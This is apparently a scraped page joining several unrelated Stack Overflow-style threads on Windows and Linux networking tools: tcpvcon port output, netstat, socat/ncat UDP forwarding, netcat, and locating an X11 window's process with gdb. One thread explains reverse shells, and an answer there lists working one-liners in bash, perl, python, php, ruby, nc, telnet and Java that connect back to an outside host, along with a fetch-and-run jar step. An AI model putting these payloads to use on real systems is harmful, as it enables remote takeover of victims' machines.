I have both TCPView and Tcpvcon on my Windows 10 machine and I wonder how to get all the information (port numbers, etc.) displayed in TCPView in the output of the Tcpvcon program? TCPView has the process name, PID, protocol, remote address, remote port, etc. in its output to the GUI. Tcpvcon, on the other hand, only contains the process name, protocol, remote and local address. I would like to have all information that can be read in the TCPView GUI in the command line output of Tcpvcon (especially the port numbers). Tcpvcon seems to have only the three switches -a -c -n but no matter how I combine them, I do not reach my goal. Can anyone help me?
Below is a sample output when I use all three switches. In TCPView I see much more information about the specified process.
I was also very surprised that tcpvcon does not show port numbers (maybe we should ask Mark R. to add them ;-)
BUT you could use
netstat -a -o -n
or with an admin shell even
netstat -a -o -n -b
switches meaning:
-a ... Displays all active TCP connections and the TCP and UDP ports
on which the computer is listening.
-o ... Displays active TCP connections and includes the process ID (PID)
for each connection.
-n ... Displays active TCP connections, however, addresses and port numbers
are expressed numerically and no attempt is made to determine names.
-b ... Displays the executable involved in creating each connection or
listening port. (Note that this option can be time-consuming and
will fail unless you have sufficient permissions.)
To get all available switches just use netstat -? (there are other interesting ones) or https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netstat
swobi
Up until the 2011 release of TCPVCON, it used to show port info.
The newer versions don't any more.
If you could get your hand on version 2.54, you would be able to get port info.
Tested with tcpvcon-v2.34 (I couldn't find 2.54) and it shows the ports but it doesn't show the process, all conections appear as from System. Also TCPV6 and UDPV6 are missing.
This is an example:
C:\WINDOWS\system32>"C:\My Program Files\TCPView-v4.13\tcpvcon-v2.34.exe" -a -c
TCP,System,-1,LISTENING,WXP-OR7507156:epmap,WXP-OR7507156:0
TCP,System,-1,LISTENING,WXP-OR7507156:microsoft-ds,WXP-OR7507156:0
TCP,System,-1,LISTENING,WXP-OR7507156:sms-rcinfo,WXP-OR7507156:0
TCP,System,-1,LISTENING,WXP-OR7507156:5040,WXP-OR7507156:0
TCP,System,-1,LISTENING,WXP-OR7507156:wsd,WXP-OR7507156:0
..
UDP,System,-1,,192.168.56.1:137,*:*
UDP,System,-1,,192.168.56.1:138,*:*
UDP,System,-1,,192.168.56.1:2177,*:*
UDP,System,-1,,192.168.56.1:5353,*:*
EDIT:
I correct myself. ASB was right.
I just got TCPView v2.54 and it does indeed show the application, the ports and also TCPV6 and UDPV6.
So I confirm that the "good" version is v2.54.
Tcpvcon.exe -a -c
TCPView v2.54 - TCP/UDP endpoint viewer
Copyright (C) 1998-2009 Mark Russinovich
Sysinternals - www.sysinternals.com
TCP,dnscrypt-proxy.exe,4188,LISTENING,WXP-XXX:domain,WXP-XXX:0
TCP,[System Process],0,TIME_WAIT,WXP-XXX:domain,localhost:62240
..
UDP,Teams.exe,12632,*,WXP-XXX:58950,*:*
TCPV6,svchost.exe,1232,LISTENING,wxp-XXX:135,wxp-XXX:0
..
UDPV6,svchost.exe,19712,*,wxp-XXX:50836,*:*
UDPV6,System,4,*,wxp-XXX:56736,*:*
To display the port numbers (and the process names) you need the old v2.54 version of tcpvcon.exe
This SysinternalsSuite.zip Archive from the Wayback Machine contains this version:
https://web.archive.org/web/20100201154325/http://download.sysinternals.com/Files/SysinternalsSuite.zip
Related
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed last year.
The community reviewed whether to reopen this question last year and left it closed:
Original close reason(s) were not resolved
Improve this question
Could someone explain in deep what is reverse shell about and in what cases are we supposed to use it?
I found this http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet regarding the same, what is the meaning of:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
It's a(n insecure) remote shell introduced by the target. That's the opposite of a "normal" remote shell, that is introduced by the source.
Let's try it with localhost instead of 10.0.0.1:
Open two tabs in your terminal.
open TCP port 8080 and wait for a connection:
nc localhost -lp 8080
Open an interactive shell, and redirect the IO streams to a TCP socket:
bash -i >& /dev/tcp/localhost/8080 0>&1
where
bash -i "If the -i option is present, the shell is interactive."
>& "This special syntax redirects both, stdout and stderr to the specified target."
(argument for >&) /dev/tcp/localhost/8080 is a TCP client connection to localhost:8080.
0>&1 redirect file descriptor 0 (stdin) to fd 1 (stdout), hence the opened TCP socket is used to read input.
Cf. http://wiki.bash-hackers.org/syntax/redirection
Rejoice as you have a prompt in tab 1.
Now imagine not using localhost, but some remote IP.
In addition to the excellent answer by #Kay, the answer to your question why is it called reverse shell is because it is called reverse shell as opposed to a bind shell
Bind shell - attacker's machine acts as a client and victim's machine acts as a server opening up a communication port on the victim and waiting for the client to connect to it and then issue commands that will be remotely (with respect to the attacker) executed on the victim's machine. This would be only possible if the victim's machine has a public IP and is accessible over the internet (disregarding all firewall etc. for the sake of brevity).
Now what if the victim's machine is NATed and hence not directly reachable ? One possible solution - So what if the victim's machine is not reachable. My (attacker's) machine is reachable. So let me open a server at my end and let the victim connect to me. This is what a reverse shell is.
Reverse Shell - attacker's machine (which has a public IP and is reachable over the internet) acts as a server. It opens a communication channel on a port and waits for incoming connections. Victim's machine acts as a client and initiates a connection to the attacker's listening server.
This is exactly what is done by the following:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Examples of reverse shells in various languages. Danger is a word.
bash shell
bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;
perl shell
perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
python shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
php shell
php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';
ruby shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
nc shell
nc -c /bin/sh 1.1.1.1 10086;
telnet shell
telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp
127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;
java jar shell
wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;
java -jar /tmp/revs1.jar;
import java.io.IOException;
public class ReverseShell {
public static void main(String[] args) throws IOException, InterruptedException {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
Reverse shell is getting the connection from the victim or target to your computer. You can think of, your computer (attacker) acts like a server and listens on port specified by him, now you make sure victim connects to you by sending syn packet ( depends on reverse shell implementation whether it is implemented using tcp or udp principals). Now connection appears as if victim himself intending to connect us.
Now in order to trick the victim you need to perform social engineering attacks or do dns spoofing and make sure your victim runs the program.
A successful reverse shell would bypass all firewalls - both host based and network based firewalls.
Reverse shell are of different types - tcp based or http based or reverse tcp based or udp based reverse shells.
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
To open a socket in Linux you have dev /tcp. You are basically opening tcp socket in Linux.
General format is /dev/tcp/ip address /port.
Now listen to port 8080 using net cat as
nc - l - p 8080 - - vv
A simple bash based reverse shell would be executing following command on the victim
nc - e /bin/bash 10.0.0.1 8080. It means you are asking vict to connect to your ip address on port 8080 assuming 10.0.0.1 is victims ip.
In general a reverse shell is a payload that functions as a shell to the operating system, this means means that it either uses the OS API directly, or indirectly through spawning shells in the background, to perform read / write operations on the target computer's memory and hardware. If you can get the payload on to the target computer and get them to execute it, it can connect to the attacker IP and spawn a thread that waits on the port for the attacker to send a command over some protocol like http; it then can parse the command and use the OS API to perform the operation and send status back to the attacker, or it could spawn a shell in the background with the command as a command line argument and redirect the output to a file, which it can then read and send back to the attacker.
The common example you see is the payload using the OS API to spawn a shell process and supplies a command line that opens a child shell and redirects the stdin / stdout of the shell itself to network sockets.
So how normal hacking works is you try to connect to your target and hack through there,
a reverse shell is when your target connects to the attacker by a payload or something alike
there is a good tutorial on network chuck
a reverse shell is also a basic form of rat
My daemon has option
-r WhereShouldIOutputAdditionalData
daemon is listening on port 26542 and writes on the same port , I want additional data to output to 26542 as well, I tried using
-r /dev/tcp/127.0.0.1/26542
and it doesn't work, When I do
> /dev/tcp/127.0.0.1/26542
I get connection refused. Deamon that I use: vowpal_wabbit, machine learning library.Any ideas?
Per an unoffical man page at
https://github.com/JohnLangford/vowpal_wabbit/wiki/Command-line-arguments
I see
-r [ --raw_predictions ] arg File to output unnormalized predictions to
So I think the -r argument is expecting a sort of /path/to/logs/raw_preds.log argument.
With this, you'll have "captured the optional output so it is readable." You could open a separate window and use the dev/admins old friend tail -f /path/to/logs/raw_preds.log to see info as it is written to the file.
If you really want it all to appear on one port, (which isn't exactly clear from your question), you'd need a separate program that can multi-plex the outputs, AND has control of your required port number. Also you'll need to be concerned about correct order of output.
IHTH.
I'm sorry, what you want to do it's impossibile for two reasons:
First, bash cannot listen on a given TCP port.
For example you cannot write a TCP server daemon in plain bash (you could use netcat for that), you can only connect() to a TCP port in bash.
Also, it is impossibile to listen on the same TCP ip:port that is already in LISTEN state by another process.
I have a question that is very similar to this question, but the solution provided is not working for me. And actually I want to do something a little different, so maybe there's a better way.
My hope is to send UDP unicast packets (a video stream) to a server. The server will forward these packets to another computer. Optionally, someone logged into the server will be able to watch the video stream using something like mplayer. I'm pretty sure I could stream the video both to the server and to the final destination from the video source, but I really want the server to be in control of that.
First Attempt:
Downloaded nmap to get the ncat tool. Thought I could use that to download and pipe bytes to mplayer and forward with another ncat process. I can pipe to mplayer and it works great, I just can't forward at the same time. If I was using Linux, apparently I could use tee and process substitution, but I'm looking for a Windows solution.
Second Attempt
I found a solution that kind of implied piping to multiple programs would be possible in PowerShell. But what I found is that binary piping wasn't going to work.
Third Attempt
I attempted to program a tee-like executable that would tee to two programs. This was about as close as I got, but the video streams seemed to get a bit corrupted. I think it was more of a performance issue than anything.
Fourth Attempt
Now I'm at the point where I've discovered socat which led me to the question I linked to. It seems odd, but I thought a solution would be for my server to forward packets to the destination AND forward packets to a different port on the server which would be used with netcat or socat to pipe into mplayer. I'd rather not use up another port on the server, but if that's what I have to do, then ok. But like I said, the solution from the other question didn't seem to work. Mplayer started to buffer, then stopped very shortly.
Ran each of these in a separate cmd window in this order. Notice I wasn't trying to forward to the destination computer yet, just trying to get mplayer to work on the server.
socat UDP4-LISTEN:5000 UDP-DATAGRAM:224.10.10.10:5001
socat UDP4-RECVFROM:5001,ip-add-membership=224.10.10.10:0.0.0.0,reuseaddr,fork UDP-DATAGRAM:192.168.16.33:5002
ncat -l -u -p 5002 | mplayer -vo direct3d -cache 1024 -
I seem to get about 924 bytes received according to MPlayer output.
I'm fresh out of ideas, though I will continue learning about socat. I assume I am not running socat correctly, but I'm not really sure where the issue is. If anyone can point out my mistake or offer an alternative solution I'd really appreciate it. Thanks.
Edit:
I did some more testing and if I change the second socat to do this:
socat UDP4-RECVFROM:5001,ip-add-membership=224.10.10.10:0.0.0.0,reuseaddr,fork - | mplayer -vo direct3d -cache 1024 -
I find that it will play the stream from the multicast address. But apparently forwarding to the unicast address on port 5002 is what's not working.
Ok, I'm not really sure why this is, but the netcat process that worked fine to receive the UDP packets from the sender and pipe to MPlayer does not work here. I'm not sure what the problem is.
So instead of:
ncat -l -u -p 5002 | mplayer -vo direct3d -cache 1024 -
I had to use:
socat UDP4-RECVFROM:5002,fork - | mplayer -vo direct3d -cache 1024 -
Though I do still have one small problem. If I close MPlayer, I get a ton of messages like:
2015/02/24 11:14:04 socat[5888] E write(1, 0x800432e8, 986): Broken
pipe
Also if I hit Ctrl-C from the command line it takes a few tries and then when MPlayer stops, my keyboard no longer works and I have to start a new cmd window.
I'm trying to write a server using netcat and bash. to recieve asynchronous packets, i'm using the command
netcat -lu 6791
How can I tell what host a packet came from? Is there a better tool i should be using then netcat (socat maybe?)
wireshark (GUI tool), tshark (text-based version of wireshark), and/or tcpdump (very similar to tshark, at least until you start messing with filtering out specific packets or searching for certain patterns or anything more complex) come immediately to mind...
#twalberg's suggestion,
netcat -vv -lu -p 6791 worked.
I'm working on a small application and I need to find the PID of a process given the X11 window ID of its main window or child windows. I saw examples for doing such a conversion using _NET_WM_PID, but I cannot figure out how to do it without using it. The reason for not using _NET_WM_PID is that it's not implemented in all the available window managers and my application needs to work on any one of them (or at least on most of them). Could somebody help me please and give me some suggestion/directions on how to solve this issue? Thank you!
Unless your X-server supports XResQueryClientIds from X-Resource v1.2 extension I know no easy way to reliably request process ID. There're other ways however.
If you just have a window in front of you and don't know its ID yet — it's easy to find it out. Just open a terminal next to the window in question, run xwininfo there and click on that window. xwininfo will show you the window-id.
So let's assume you know a window-id, e.g. 0x1600045, and want to find, what's the process owning it.
The easiest way to check who that window belongs to is to run XKillClient for it i.e.:
xkill -id 0x1600045
and see what process have just died. Of course if you don't mind it to die.
Another easy but unreliable way is to check its _NET_WM_PID and WM_CLIENT_MACHINE properties:
xprop -id 0x1600045
That's what tools like xlsclients and xrestop do.
Unfortunately this information may be incorrect not only because the process was evil and changed those, but also because it was buggy. For example after some firefox crash/restart I've seen orphaned windows (from flash plugin, I guess) with _NET_WM_PID pointing to a process, that died long time ago.
Alternative way is to run
xwininfo -root -tree
and check properties of parents of the window in question. That may also give you some hints about window origins.
But! While you may not find what process have created that window, there's still a way to find where that process have connected to X-server from. And that way is for real hackers. :)
The window-id 0x1600045 that you know with lower bits zeroed (i.e. 0x1600000) is a "client base". And all resource IDs, allocated for that client are "based" on it (0x1600001, 0x1600002, 0x1600003, etc). X-server stores information about its clients in clients[] array, and for each client its "base" is stored in clients[i]->clientAsMask variable. To find X-socket, corresponding to that client, you need to attach to X-server with gdb, walk over clients[] array, find client with that clientAsMask and print its socket descriptor, stored in ((OsCommPtr)(clients[i]->osPrivate))->fd.
There may be many X-clients connected, so in order to not check them all manually, let's use a gdb function:
define findclient
set $ii = 0
while ($ii < currentMaxClients)
if (clients[$ii] != 0 && clients[$ii]->clientAsMask == $arg0 && clients[$ii]->osPrivate != 0)
print ((OsCommPtr)(clients[$ii]->osPrivate))->fd
end
set $ii = $ii + 1
end
end
When you find the socket, you can check, who's connected to it, and finally find the process.
WARNING: Do NOT attach gdb to X-server from INSIDE the X-server. gdb suspends the process it attaches to, so if you attach to it from inside X-session, you'll freeze your X-server and won't be able to interact with gdb. You must either switch to text terminal (Ctrl+Alt+F2) or connect to your machine over ssh.
Example:
Find the PID of your X-server:
$ ps ax | grep X
1237 tty1 Ssl+ 11:36 /usr/bin/X :0 vt1 -nr -nolisten tcp -auth /var/run/kdm/A:0-h6syCa
Window id is 0x1600045, so client base is 0x1600000. Attach to X-server and find client socket descriptor for that client base. You'll need debug information
installed for X-server (-debuginfo package for rpm-distributions or -dbg package for deb's).
$ sudo gdb
(gdb) define findclient
Type commands for definition of "findclient".
End with a line saying just "end".
> set $ii = 0
> while ($ii < currentMaxClients)
> if (clients[$ii] != 0 && clients[$ii]->clientAsMask == $arg0 && clients[$ii]->osPrivate != 0)
> print ((OsCommPtr)(clients[$ii]->osPrivate))->fd
> end
> set $ii = $ii + 1
> end
> end
(gdb) attach 1237
(gdb) findclient 0x1600000
$1 = 31
(gdb) detach
(gdb) quit
Now you know that client is connected to a server socket 31. Use lsof to find what that socket is:
$ sudo lsof -n | grep 1237 | grep 31
X 1237 root 31u unix 0xffff810008339340 8512422 socket
(here "X" is the process name, "1237" is its pid, "root" is the user it's running from, "31u" is a socket descriptor)
There you may see that the client is connected over TCP, then you can go to the machine it's connected from and check netstat -nap there to find the process. But most probably you'll see a unix socket there, as shown above, which means it's a local client.
To find a pair for that unix socket you can use the MvG's technique
(you'll also need debug information for your kernel installed):
$ sudo gdb -c /proc/kcore
(gdb) print ((struct unix_sock*)0xffff810008339340)->peer
$1 = (struct sock *) 0xffff810008339600
(gdb) quit
Now that you know client socket, use lsof to find PID holding it:
$ sudo lsof -n | grep 0xffff810008339600
firefox 7725 username 146u unix 0xffff810008339600 8512421 socket
That's it. The process keeping that window is "firefox" with process-id 7725
In general, it's not possible to find out the PID of a process that created a window. It may be that the process is running remotely on a machine, and it may be that the machine doesn't even have the notion of processes and PIDs.
If you don't trust anybody stored this information when the client was originally created, you will need to trace the connections yourself. Find out what kind of connection (socket etc) the client was using, find out where that connection ends, and find out which process holds that end. How to do that (and whether it is possible at all) is highly operating system dependent.
Back in 2004, Harald Welte posted a code snippet that wraps the XCreateWindow() call via LD_PRELOAD and stores the process id in _NET_WM_PID. This makes sure that each window created has a useful _NET_WM_PID entry.
http://www.mail-archive.com/devel#xfree86.org/msg05806.html